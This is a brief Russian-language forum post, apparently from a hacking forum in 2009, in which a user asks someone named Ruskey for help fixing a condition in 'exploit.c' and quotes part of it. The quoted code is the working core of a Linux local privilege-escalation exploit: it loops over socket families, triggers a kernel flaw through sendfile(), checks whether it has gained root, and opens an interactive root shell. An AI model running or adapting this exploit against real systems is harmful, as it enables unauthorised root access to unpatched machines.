
05.11.2009, 10:58
|
|
Познающий
Регистрация: 09.08.2007
Сообщений: 58
Провел на форуме: 389103
Репутация:
15
|
|
Ruskey, полагаю в exploit.c возникает в условии, но что подправить я не знаю...
Код:
exploit:
if (s[i][0] == PF_MAX)
exit(EXIT_FAILURE);
if ((out_fd = socket(s[i][0], s[i][1], s[i][2])) == -1) {
perror("socket");
i++;
goto exploit;
}
sendfile(out_fd, in_fd, NULL, PAGE_SIZE);
if (getuid() || getgid()) {
close(out_fd);
i++;
goto exploit;
}
execl("/bin/sh", "sh", "-i", NULL);
exit(EXIT_SUCCESS);
}
|
|
|